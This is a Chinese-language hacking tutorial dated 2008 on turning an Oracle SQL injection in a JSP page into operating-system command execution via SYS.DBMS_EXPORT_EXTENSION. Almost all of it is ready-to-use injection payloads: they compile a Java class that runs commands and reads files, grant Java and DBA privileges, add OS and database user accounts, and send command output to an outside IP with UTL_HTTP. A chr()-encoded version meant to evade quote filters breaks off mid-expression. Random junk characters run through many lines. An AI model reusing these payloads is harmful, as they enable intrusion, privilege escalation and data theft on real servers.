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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。9 [# b+ s& d+ f& m+ e6 R; |+ o8 ?8 d
5 e3 j. x4 L- `7 |8 m以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成( [$ }. O# R- ^8 X
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值)4 p8 e: K! ]4 U5 C) Q8 Y
* X- t+ P/ {" R4 b语句有点长,可能要用post提交。& M% a/ b" K" @
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" m$ F* C" p% k3 k; H以下是各个步骤:" \& p# s5 M8 _7 q
0 z2 l( t5 u0 r7 @1 n* y' e) S1.创建包
5 _) |0 ~ t+ V, |通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(# S0 n2 J1 J9 v1 r$ q' A$ Z( b
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ g& u( E& t) i/ |, R7 C
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(7 d: C, n( L. N9 z& g, o( V- U
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
& S& F V( u$ Q0 V! i: ^}'''';END;'';END;--','SYS',0,'1',0) from dual
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)
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" m. E# `3 H0 D4 u; r3 p) l: W------------------------/ g7 x/ r6 s5 A6 y/ |5 G0 P
如果url有长度限制,可以把readFile()函数块去掉,即:
& }1 ?' `8 _+ A8 P/xxx.jsp?id=1 and '1'<>'a'||(
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1 J+ ]2 [1 H$ t$ Q' vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 ^, A6 r! v' [- w* ^ Y; ncreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
% ~" K- D# y$ K( Fnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
1 \8 `% D" R0 m1 ?}'''';END;'';END;--','SYS',0,'1',0) from dual, j1 Z# a. o" Z/ w& P7 ^- t
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)
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8 K' T; `* o3 F( q; D E) [同时把后面步骤 提到的 对readFile()的处理语句去掉。( g! u) S+ y' D& U8 O' l. k1 o
------------------------------
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8 t% h0 J, N0 U! S& h; L5 r2.赋Java权限) z+ ^' {8 i# |8 n; v" S+ r
: G; l6 W: T' a) P) n! r5 k; ~select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': E, _# _$ ] Y3 V+ \
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') K( J. h9 K; s! k" @( l: l
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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& s: Y8 N0 c, y% W. p1 u: fselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual& k/ E4 j: }9 p8 L0 E3 A0 ~
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5.测试上面的几步是否成功: T* M5 [* `! q! t* R
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and '1'<>'11'||(
4 Q' Z# c; I2 x* }) Y1 Cselect OBJECT_ID from all_objects where object_name ='LINXRUNCMD', s# ?* V) V* z- T2 f* i# W
)
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7 F; r0 C7 A, k+ J/ I. I* Yand '1'<>(
' E/ _0 ]; c- R A7 \8 Oselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'7 c/ }" y/ C: T
)
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6.执行命令:
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select sys.LinxRunCMD('cmd /c net user linx /add') from dual1 C4 ?; \7 a: N! i& P" g- H
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/xxx.jsp?id=1 and '1'<>(# z& T/ \! g1 i2 C, f! ^
select sys.LinxReadFile('c:/boot.ini') from dual
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注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
! E4 @: R& [/ `. h5 x0 ?- \/ }如果要查看运行结果可以用 union :" A$ z7 O+ c3 |! w0 l4 r3 x2 ^
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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% i: d$ a" P/ F' W0 Q f: f0 b或者UTL_HTTP.request(:
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3 c! j8 i! Q; J! \. X- F( USELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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3 {! S" {8 X$ g* T' v# @/xxx.jsp?id=1 and '1'<>(# Y( J3 ~; { i8 v& w$ Y. J
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual: L2 C( V' @$ f: U' i
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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$ v% r) |( E. r6 ?--------------------1 a1 Z# m* x9 a, \; G$ u, j
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6.内部变化
, z; G; s" N, W通过以下命令可以查看all_objects表达改变:
* x$ Q) ?/ ^4 Tselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'; J$ Z- H8 n6 `8 l5 n5 b3 s2 V7 Z
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7.删除我们创建的函数
. g# Z$ A, S" }* d$ |0 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
/ O( X/ F' m8 b9 j% R$ X. F& s( T& xdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
! X; l0 g3 N2 v2 P/ i全文结束。谨以此文赠与我的朋友。 N( {$ P# f/ ~4 Z4 h+ i2 L" ] A E
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linx
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4 _& P: V9 s3 {2008.1.12
" B' @: b% m9 d- u9 Rlinyujian@bjfu.edu.cn
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======================================================================" B) f5 I0 r* f8 L# K, j
0 I7 |, G s2 ]1 a2 L, h测试漏洞的另一方法:9 A2 k" b* G8 a/ F
( @4 J: R# G' l! k7 O创建oracle帐号:
9 U5 q; s' y- j7 v, zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
* T; E2 Z' ?* i5 Z4 ~7 sCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual; R5 t5 t; {7 A: q* m/ \
; _2 f# q# N/ `7 G9 A2 I; X即:
9 S5 }# E* R, Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 ~0 Y- ~0 p6 Z& F0 x# V( X2 z# h9 jchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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5 Y" n" X+ K1 o' c- T3 B确定漏洞存在:: ?4 |% t+ n6 E
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select user_id from all_users where username='LINXSQL'. A/ ^" C1 h( l2 g1 O$ {
)
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, J" Y; b6 ^* ~1 \; L! S给linxsql连接权限:
( S( e- P8 B) z3 o1 r- h5 |select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') r; D1 z6 e% S8 y. G( g; J: r
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual9 U5 Y; v: i j* N; C4 S& }8 F) A
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删除帐号:
* U( `% H) `% e# `6 {select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ M1 `1 C/ x( _- O
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual( P4 @8 H: L5 h8 p. I# x
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以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
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1.jsp?id=1 and '1'<>(
2 T* g$ x; B1 w) Uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
7 z2 G$ E# _8 Q! C! K+ i% _/ j6 Wcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
1 ]4 A+ b8 w, U: Z" {5 V. N& x) and ...
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1.jsp?id=1 and '1'<>() K5 v( Z; u& v. E% W0 Y) k
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual( w/ p/ J1 D% i6 c/ ^5 |9 J t9 ~
) and ...
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1.jsp?id=1 and '1'<>(6 ^% Q/ t! Y) D+ V* a* R9 u
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL6 E/ r8 e* m) l" p
) and ...
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+ @4 m. _ g5 J9 _# ~1.jsp?id=1 and '1'<>(4 j1 j; R# {) |
SELECT sys.Linx_Query('declare pragma+ d$ Z5 c& |; s$ A# S8 o* h
autonomous_transaction; begin execute immediate ''
9 y- J5 z q* a) ]2 {+ Pselect 1 from dual
9 x4 h2 f6 J0 `% m: ?5 O6 u$ m0 V) `''; commit; end;') from dual
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多语句:6 b5 m9 q& l! M8 ]: V1 y9 U
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
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创建用户(除非当前用户有system权限,否则无法成功):
7 a7 e( j. q3 ^& v/ ~SELECT sys.Linx_Query('declare pragma
4 a2 T/ _3 k- z, K$ O& {7 rautonomous_transaction; begin execute immediate ''* t0 R1 p1 ]* M4 z, F1 F/ z! F
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User+ Z" I& x' C# Z4 P" Z0 q2 f. R
''; commit; end;') from dual+ k- \4 E2 Z1 R8 s5 y$ S
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6 a! j, ?7 }$ a================
, H3 P3 ]' e. _& V8 v+ |以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()* [" f, P( w+ _$ C. x2 [% U. @
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1.创建函数( s3 Z2 M5 v2 W& E+ M4 w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' R2 B0 U8 B9 Y/ `' Pcreate or replace function Linx_Query (p7 Q8 p; ]9 h8 m4 @) d+ f4 E2 r
varchar2) return number authid current_user is begin execute immediate c( \( ?2 c- f' F# |3 h# e
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;) M3 ?9 W" _+ g6 u" h& s# U# L" u
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如果有权限,以下语句应该允许正常
' r2 M( h* c& e) s( V$ H5 M) ? \select sys.linx_query('select 1 from dual') from dual;
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0 L7 ~2 y- P0 J) I* L. G不然的话运行:; V8 O4 c& @4 r
4 ?7 K" p0 w; x, |' i% kselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, f) v; Z4 c+ q; X! R! }grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual' o' s" Y+ {& Q
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( m2 }. p5 @) n$ c5 J P1 C; p2.创建包0 D V/ d. F5 l6 u( x4 K
SELECT sys.Linx_Query('declare pragma
: z$ R6 y: b# V/ j( ^autonomous_transaction; begin execute immediate ''
9 M" B; C" P. o6 vcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(: X% P, H2 D$ }" f) c2 l/ v) k8 G
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual. L. ?% ]* q+ y* `2 c [ H
3 X* b$ C) S U6 h" D4 N' @3.创建函数* a' e5 {' t8 s8 q
SELECT sys.Linx_Query('declare pragma# [. s) R7 a, [1 }& z* d$ m
autonomous_transaction; begin execute immediate ''6 s' p4 M' @2 c4 R
create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
, u: R1 N' J5 s. B+ {1 P, o
/ K1 f. Q, C" n1 K' I- L8 `4.给权限
2 ~' d0 T1 o; m9 u5 j给用户SYSTEM执行权限:
8 k& Z7 q m7 J4 U1 O! Q, V1 X+ k* P' c* Y
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
+ b5 x: ?7 H z; a. K4 S4 d @3 k) P* j
% h! a# M, [0 w
. Y1 [( O! z7 u: Y2 H- G
5.执行函数
; S$ J+ [/ g4 {select RunCMD2('cmd /c dir') from dual- H( U' j# G1 t' m* c; e
- p3 L4 n5 I. i8 O Y- T
; p' ]3 k" a( c: ^: a+ X4 M" `0 ^. e2 |' `) e
, G, d! L% `0 r
1 P5 [: S0 m7 I( P3 d# J( I==================1 R! `$ `9 q' B" A5 n( T6 O0 V% f
================================
+ v* O7 b$ u+ z2 C6 N
( z" N% M7 ]8 ^- G6 L4 P5 ]: t1 _& B0 t以下是无 " ' " 版:
8 }( J% V$ \2 C# l0 w7 P1 `+ D7 X" J$ G' Y: A. V# ~
以下是各个步骤:' r- V4 M5 I V% S2 `, R6 D1 e# I
2 c' l# H' R7 x: a) Z1.创建包
& `2 P; I9 K0 b+ b通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
* d8 j |5 P' H1 c2 k因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
$ P0 K5 u& I2 m( Y; Z
. |; K2 _- }, ^/ Q: Z7 e7 \8 r `/xxx.jsp?id=1 and chr(49)<>chr(50)||(
( W3 U4 w1 |1 o$ U; K) _. o. H3 J/ X
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),' ]- }" s* x, J3 r0 u
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)|| `( e/ M+ M, v. M. W
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
- p3 a* C* B( `$ Wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
! @* m9 J6 o2 \, J' Schr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
% \+ o" `, K" f+ T+ Cchr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||: g' D6 m- J, e3 L* X3 Q) @9 Y
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
' p0 P, S6 p5 ^% Vchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||8 _3 ~8 O- D+ p
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
& L" S. Y: M/ ^5 f0 r4 fchr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||2 q0 r8 F$ i" l' \' C2 _7 S9 C
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
1 @ f) C, ]4 k: ?7 a% qchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
2 x; x* t% J+ _0 h8 C' ~chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||% E+ s* g: v6 n
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||1 {& E( B% r1 U2 a
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||( o. s0 F* R) K7 E! y( x
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
6 }1 E" a3 y! n- y) |chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
* M+ c, e% y \+ Uchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
# w7 x% n1 g0 U" Y8 Q1 j8 Rchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||# U& G3 `! D2 p8 M) p; l
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||; r0 I$ i9 e) K
chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||2 d( m1 U) S; O
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||. [7 f% c0 t5 W0 d' m9 l$ N! |
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
& a" Y. x0 M/ h3 j8 l5 L: tchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
$ ~! j, T( g- V q* `chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
